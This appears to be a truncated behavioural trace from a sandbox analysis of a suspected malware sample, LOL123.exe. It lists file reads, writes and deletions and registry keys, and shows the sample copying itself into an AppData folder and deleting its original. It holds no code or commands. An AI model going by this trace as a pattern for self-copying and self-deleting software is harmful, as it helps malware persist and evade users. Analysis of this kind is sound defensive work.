C:\Windows\Fonts\kaiu.ttf C:\Windows\Fonts\l_10646.ttf C:\Windows\Fonts\ariblk.ttf C:\Windows\Fonts\calibri.ttf C:\Windows\Fonts\calibrii.ttf C:\Windows\Fonts\calibrib.ttf C:\Windows\Fonts\calibriz.ttf C:\Windows\Fonts\cambria.ttc C:\Windows\Fonts\cambriai.ttf C:\Windows\Fonts\cambriab.ttf C:\Windows\Fonts\cambriaz.ttf C:\Windows\Fonts\Candara.ttf C:\Windows\Fonts\Candarai.ttf C:\Windows\Fonts\Candarab.ttf C:\Windows\Fonts\Candaraz.ttf C:\Windows\Fonts\comic.ttf C:\Windows\Fonts\comicbd.ttf C:\Windows\Fonts\consola.ttf C:\Windows\Fonts\consolai.ttf C:\Windows\Fonts\consolab.ttf C:\Windows\Fonts\consolaz.ttf C:\Windows\Fonts\constan.ttf C:\Windows\Fonts\constani.ttf C:\Windows\Fonts\constanb.ttf C:\Windows\Fonts\constanz.ttf C:\Windows\Fonts\corbel.ttf C:\Windows\Fonts\corbeli.ttf C:\Windows\Fonts\corbelb.ttf C:\Windows\Fonts\corbelz.ttf C:\Windows\Fonts\framd.ttf C:\Windows\Fonts\framdit.ttf C:\Windows\Fonts\Gabriola.ttf C:\Windows\Fonts\georgia.ttf C:\Windows\Fonts\georgiai.ttf C:\Windows\Fonts\georgiab.ttf C:\Windows\Fonts\georgiaz.ttf C:\Windows\Fonts\pala.ttf C:\Windows\Fonts\palai.ttf C:\Windows\Fonts\palab.ttf C:\Windows\Fonts\palabi.ttf C:\Windows\Fonts\segoepr.ttf C:\Windows\Fonts\segoeprb.ttf C:\Windows\Fonts\trebuc.ttf C:\Windows\Fonts\trebucit.ttf C:\Windows\Fonts\trebucbd.ttf C:\Windows\Fonts\trebucbi.ttf C:\Windows\Fonts\verdana.ttf C:\Windows\Fonts\verdanai.ttf C:\Windows\Fonts\verdanab.ttf C:\Windows\Fonts\verdanaz.ttf C:\Windows\Fonts\webdings.ttf C:\Windows\Fonts\coure.fon C:\Windows\Fonts\serife.fon C:\Windows\Fonts\sserife.fon C:\Windows\Fonts\smalle.fon C:\Windows\Fonts\smallf.fon C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\EQUATION\MTEXTRA.TTF C:\Windows\Fonts\ARIALUNI.TTF C:\Windows\Fonts\CENTURY.TTF C:\Windows\Fonts\WINGDNG2.TTF C:\Windows\Fonts\WINGDNG3.TTF C:\Windows\Fonts\BKANT.TTF C:\Windows\Fonts\GOTHIC.TTF C:\Windows\Fonts\OUTLOOK.TTF C:\Windows\Fonts\TEMPSITC.TTF C:\Windows\Fonts\MISTRAL.TTF C:\Windows\Fonts\LHANDW.TTF C:\Windows\Fonts\ITCKRIST.TTF C:\Windows\Fonts\JUICE___.TTF C:\Windows\Fonts\FREESCPT.TTF C:\Windows\Fonts\ARIALN.TTF C:\Windows\Fonts\GARA.TTF C:\Windows\Fonts\MTCORSVA.TTF C:\Windows\Fonts\ALGER.TTF C:\Windows\Fonts\BASKVILL.TTF C:\Windows\Fonts\BAUHS93.TTF C:\Windows\Fonts\BELL.TTF C:\Windows\Fonts\BRLNSB.TTF C:\Windows\Fonts\BERNHC.TTF C:\Windows\Fonts\BOD_PSTC.TTF C:\Windows\Fonts\BRITANIC.TTF C:\Windows\Fonts\BROADW.TTF C:\Windows\Fonts\BRUSHSCI.TTF C:\Windows\Fonts\CALIFR.TTF C:\Windows\Fonts\CENTAUR.TTF C:\Windows\Fonts\CHILLER.TTF C:\Windows\Fonts\COLONNA.TTF C:\Windows\Fonts\COOPBL.TTF C:\Windows\Fonts\FTLTLT.TTF C:\Windows\Fonts\HARLOWSI.TTF C:\Windows\Fonts\HARNGTON.TTF C:\Windows\Fonts\HTOWERT.TTF C:\Windows\Fonts\JOKERMAN.TTF C:\Windows\Fonts\KUNSTLER.TTF C:\Windows\Fonts\LBRITE.TTF C:\Windows\Fonts\LCALLIG.TTF C:\Windows\Fonts\LFAX.TTF C:\Windows\Fonts\MAGNETOB.TTF C:\Windows\Fonts\MATURASC.TTF C:\Windows\Fonts\MOD20.TTF C:\Windows\Fonts\NIAGENG.TTF C:\Windows\Fonts\NIAGSOL.TTF C:\Windows\Fonts\OLDENGL.TTF C:\Windows\Fonts\ONYX.TTF C:\Windows\Fonts\PARCHM.TTF C:\Windows\Fonts\PLAYBILL.TTF C:\Windows\Fonts\POORICH.TTF C:\Windows\Fonts\RAVIE.TTF C:\Windows\Fonts\INFROMAN.TTF C:\Windows\Fonts\SHOWG.TTF C:\Windows\Fonts\SNAP____.TTF C:\Windows\Fonts\STENCIL.TTF C:\Windows\Fonts\VINERITC.TTF C:\Windows\Fonts\VIVALDII.TTF C:\Windows\Fonts\VLADIMIR.TTF C:\Windows\Fonts\LATINWD.TTF C:\Windows\Fonts\BOOKOS.TTF C:\Windows\Fonts\ANTQUAB.TTF C:\Windows\Fonts\ANTQUABI.TTF C:\Windows\Fonts\ANTQUAI.TTF C:\Windows\Fonts\GOTHICB.TTF C:\Windows\Fonts\GOTHICBI.TTF C:\Windows\Fonts\GOTHICI.TTF C:\Windows\Fonts\BSSYM7.TTF C:\Windows\Fonts\REFSAN.TTF C:\Windows\Fonts\REFSPCL.TTF C:\Windows\Fonts\ARIALNB.TTF C:\Windows\Fonts\ARIALNBI.TTF C:\Windows\Fonts\ARIALNI.TTF C:\Windows\Fonts\GARABD.TTF C:\Windows\Fonts\GARAIT.TTF C:\Windows\Fonts\BELLB.TTF C:\Windows\Fonts\BELLI.TTF C:\Windows\Fonts\BRLNSDB.TTF C:\Windows\Fonts\BRLNSR.TTF C:\Windows\Fonts\CALIFB.TTF C:\Windows\Fonts\CALIFI.TTF C:\Windows\Fonts\HTOWERTI.TTF C:\Windows\Fonts\LBRITED.TTF C:\Windows\Fonts\LBRITEDI.TTF C:\Windows\Fonts\LBRITEI.TTF C:\Windows\Fonts\LFAXD.TTF C:\Windows\Fonts\LFAXDI.TTF C:\Windows\Fonts\LFAXI.TTF C:\Windows\Fonts\BOOKOSB.TTF C:\Windows\Fonts\BOOKOSBI.TTF C:\Windows\Fonts\BOOKOSI.TTF C:\Windows\Fonts\marlett.ttf \??\PIPE\wkssvc C:\DosDevices\pipe\ C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-WindowsBackup%4ActionCenter.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-NetworkAccessProtection%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx C:\Windows\sysnative\radarrs.dll C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx C:\Windows\sysnative\winevt\Logs\System.evtx C:\Windows\sysnative\RacEngn.dll C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-ReliabilityAnalysisComponent%4Operational.evtx C:\Windows\sysnative\it-IT\radarrs.dll.mui
Read Files
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll C:\Users\Seven01\AppData\Local\Temp\LOL123.exe.config C:\Users\Seven01\AppData\Local\Temp\LOL123.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll C:\Windows\System32\l_intl.nls \Device\KsecDD C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll C:\Windows\assembly\pubpol28.dat C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll C:\Windows\System32\netapi32.dll C:\Windows\System32\netutils.dll C:\Windows\System32\srvcli.dll C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.lck C:\Windows\sysnative\LogFiles\Scm\2f57269b-1e09-4e2d-ab1e-b0fdac7d279c C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50 C:\Windows\Globalization\Sorting\sortdefault.nls C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache-System.dat C:\Windows\Fonts\modern.fon C:\Windows\Fonts\roman.fon C:\Windows\Fonts\script.fon C:\Windows\Fonts\coure.fon C:\Windows\Fonts\serife.fon C:\Windows\Fonts\sserife.fon C:\Windows\Fonts\smalle.fon C:\Windows\Fonts\smallf.fon \??\PIPE\wkssvc C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-NetworkAccessProtection%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx C:\Windows\sysnative\radarrs.dll C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx C:\Windows\sysnative\RacEngn.dll C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-ReliabilityAnalysisComponent%4Operational.evtx C:\Windows\sysnative\it-IT\radarrs.dll.mui
Write Files
C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.lck C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.exe C:\Windows\sysnative\LogFiles\Scm\9435f817-fed2-454e-88cd-7f78fda62c48 \??\PIPE\wkssvc C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-NetworkAccessProtection%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx C:\Windows\sysnative\winevt\Logs\Microsoft-Windows-ReliabilityAnalysisComponent%4Operational.evtx
Delete Files
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2556.22933437 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2556.22933437 C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2556.22933500 C:\Users\Seven01\AppData\Roaming\E62877\73E4A9.lck C:\Users\Seven01\AppData\Local\Temp\LOL123.exe
Keys
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\ HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0 HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir HKEY_CURRENT_USER\Software\Microsoft\.NETFramework HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR Policy\Standards HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LOL123.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB HKEY_CURRENT_USER\Software\Microsoft\Fusion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000 HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\7694cca\7fd05cba HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index28 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData 